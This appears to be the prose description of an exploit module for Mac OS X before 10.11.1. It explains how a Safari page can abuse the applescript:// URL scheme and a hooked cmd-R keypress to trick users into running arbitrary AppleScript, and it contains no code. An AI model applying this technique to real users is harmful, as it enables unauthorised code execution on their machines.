        In versions of Mac OS X before 10.11.1, the applescript:// URL
        scheme is provided, which opens the provided script in the Applescript
        Editor. Pressing cmd-R in the Editor executes the code without any
        additional confirmation from the user. By getting the user to press
        cmd-R in Safari, and by hooking the cmd-key keypress event, a user
        can be tricked into running arbitrary Applescript code.

        Gatekeeper should be disabled from Security & Privacy in order to
        avoid the unidentified Developer prompt.
